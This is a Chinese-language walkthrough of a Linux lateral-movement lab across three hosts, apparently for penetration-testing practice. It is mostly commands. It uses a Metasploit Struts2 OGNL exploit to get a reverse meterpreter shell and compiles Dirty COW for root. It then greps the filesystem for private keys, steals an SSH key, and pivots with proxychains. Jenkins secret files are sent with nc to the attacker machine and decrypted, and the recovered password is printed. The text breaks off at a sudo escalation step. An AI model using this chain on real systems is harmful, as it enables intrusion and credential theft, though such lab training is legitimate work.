横向移动-Linux横向移动-Linux
靶场环境介绍
172.16.250.10
- Web服务对外开放
172.16.250.30
- Web应用只允许当前内网环境的主机访问
172.16.250.50
- 数据库服务器,不出网。实现站库分离
知识点
一般默认情况下SSH密钥都存放在~/.ssh/
目录下,可以使用文件中搜索已保存的ssh凭证:
grep -ir "BEGIN RSA PRIVATE KEY" /* grep -ir "BEGIN DSA PRIVATE KEY" /* grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
复现过程
1、Web 获取
信息收集:
使用攻击机尝试扫描该网段,发现172.16.250.10的80端口对外开放。访问该网站,可知用到应用的是OpenCMS 10.5.3
,8080端口开放的是Tomcat
,访问80端口输入struts2-showcase
路径,尝试访问成功,确认使用的是struts2
并且是struts Showcase
,直接上MSF
2、利用漏洞并获取Shell
打开MSF控制台,利用漏洞:
use exploit/multi/http/struts2_content_type_ognl
set payload linux/x64/meterpreter/reverse_tcp
set rhost 172.16.250.10
set lport 80
run
拿到shell后发现我们只是tomcat
权限,所以我们需要进行提权,上传脚本得知,可以利用脏牛提权。
获取:curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c
将文件上传至目标机器:
upload /root/dirtycow-mem.c /tmp // 使用pwd查看当前目录,一般都在root目录下,
shell
cd /tmp
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
调用dirtycow-mem
文件,需要一个具有交互式的shell,使用Python进行创建:
python3 -c "import pty;pty.spawn('/bin/bash')"
./dirtycow-mem
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
# 将Linux内核的系统崩溃(panic)功能打开,并启用不同类型的崩溃触发器。在出现严重问题时,内核会自动崩溃并停止系统运行。这有助于避免数据损坏和其他可能的问题。
对该机器进行信息收集,发现配置文件/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
里面有数据库登录的信息:
由此判断出采用站库分离的模式。再看一下其他敏感文件。
cat ~/.bash_history
可以查看到历史记录中有利用RSA密钥登录.30机器的行为。
将这个私钥文件下载到本地并使用SSH进行连接:
cat ~/.bash_history
cp ~/.ssh/id_rsa /tmp/id_rsa
chmod 777 id_rsa
download /tmp/id_rsa /root/id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@172.16.250.30
Jenkins 获取
1、信息收集
netstat -anpt
可以看到8080端口对外开放
我们无法直接访问,需要建立节点,利用MSF+Proxychains:
首先建立路由,然后使用socks
use auxiliary/server/socks_proxy
set srvport 1234
jobs
然后编辑proxychains配置文件vim /etc/proxychains4.conf
:
注意:
dynamic_chain
:下方设置了节点一条测试能用就行
strict_chain
: 下方设置了多条节点必须全部测试正确才能使用。
proxychains firefox
访问8080端口,开放了Jenkins服务
2、进一步利用Jenkins
Jenkins存储着一些密码,可以通过网上脚本进行破解。
db_backup用户,是不是之前发现的50机器的数据库服务呢?
修改属性为空就可以得到密码。
这里直接获取主目录的三个文件:
- credentials.xml
- master.key
- hudson.util.Secret
- 因为读取该文件会乱码,所以使用nc进行传输文件。
利用nc进行反向传递,用之前得到的SSH密钥+Proxychains:
proxychains4 ssh -i id_rsa root@172.16.250.30
nc -lvvp 1234 > master.key
nc -lvvp 1234 > hudson.util.Secret
nc -lvvp 1234 > credentials.xml
nc 172.16.250.128 1234 < /home/jenkins/secrets/hudson.util.Secret
nc 172.16.250.128 1234 < /home/jenkins/secrets/master.key
nc 172.16.250.128 1234 < /home/jenkins/credentials.xml
利用脚本:https://github.com/cheetz/jenkins-decrypt
用pip3 install -r requirements.txt 安装需要的库文件
注意:需要Python3低版本
得到密码:)uDvra{4UL^;r?*h
,直接登录50机器。ssh db_backup@172.16.250.50
利用sudo进行提权: